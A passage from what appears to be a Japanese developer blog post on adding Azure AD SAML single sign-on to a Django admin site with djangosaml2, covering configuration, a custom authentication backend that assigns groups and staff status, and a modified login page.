    "entityid": "https://my-admin.example.com/saml2/acs/",
    "service": {
        "sp": {
            "endpoints": {
                "assertion_consumer_service": [
                    ("https://my-admin.example.com/saml2/acs/", saml2.BINDING_HTTP_POST),
                ],
                "single_logout_service": [
                    ("https://my-admin.example.com/saml2/ls/", saml2.BINDING_HTTP_REDIRECT),
                    ("https://my-admin.example.com/saml2/ls/post", saml2.BINDING_HTTP_POST),
                ],
            },
            "want_response_signed": False,
        },
    },
    "metadata": {
        "remote": [
            {"url": SAML_METADATA_URL},
        ],
    },
    # "debug": 1,
}

urls.pyには/saml2/のurlpatternsを追加。

urlpatterns = [
    # ...
    url(r'^saml2/', include("djangosaml2.urls")),
]

Saml2Backendの拡張

SAMLの認証用のバックエンドSaml2Backendをそのまま使ってログインすると、何の権限もないユーザーがDjangoに作成されるので、Saml2Backendを拡張しとりあえず必要な権限を付与したグループに新しいユーザーを所属させるようにしました。

from djangosaml2.backends import Saml2Backend

from django.contrib.auth.models import Group


class ModifiedSaml2Backend(Saml2Backend):
    def save_user(self, user, *args, **kwargs):
        user.save()
        user_group = Group.objects.get(name="default")
        user.groups.add(user_group)
        user.is_staff = True
        return super().save_user(user, *args, **kwargs)

以上の実装で https://my-admin.example.com/saml2/login からSAML認証でログインできるようになります。

ログイン画面の拡張

SAML認証でログインできるようにはなったのですが、このままだと既存のログイン画面からの導線がなく、URLを直接入力してログインしてもらう必要があります。 そこで、既存のログイン画面を拡張して「SAMLログイン」ボタンを追加しました。

Django adminのログインページをそのまま流用してテンプレートファイルを作成し、末尾に/saml2/loginに遷移するボタンのHTMLを追加します。

<!-- 
  Django adminのログインページと同じコード:
  https://github.com/django/django/blob/eafe1468d228e6f63d044f787a9ffec82ec22746/django/contrib/admin/templates/admin/login.html 
-->
<!-- (略) -->
</form>

<div class="submit-row">
  <input type="submit" value="SAML {% translate 'Log in' %}" onclick="location.href='/saml2/login'">
</div>

</div>
{% endblock %}

urlpatternsを修正し既存のログイン画面を新しいログイン画面で上書きします。

urlpatterns = [
    path(
        'admin/login/',
        auth_views.LoginView.as_view(
            template_name='login.html',
            extra_context={
                'title': _('Log in'),
                'site_header': admin.site.site_header,
            },
        ),
        name='login',
    ),
    # ...
]

若干無理矢理な実装ですが、既存のパスワードでのログイン方法からは移行しやすくなりました。

まとめ

DjangoSAML対応はなかなか情報がなく調査に苦労したのですが、現状は問題なく稼働しています。 ユーザーの属性ごとにグループや権限を分けるといった自動化はまだできていないのですが、それでもアカウント作成の手間は減らせました。

社内で利用するサービスではまだいくつかAzure ADによるSSOに対応できていない箇所があるので、同様にSSOの対応を進めていきたいところです。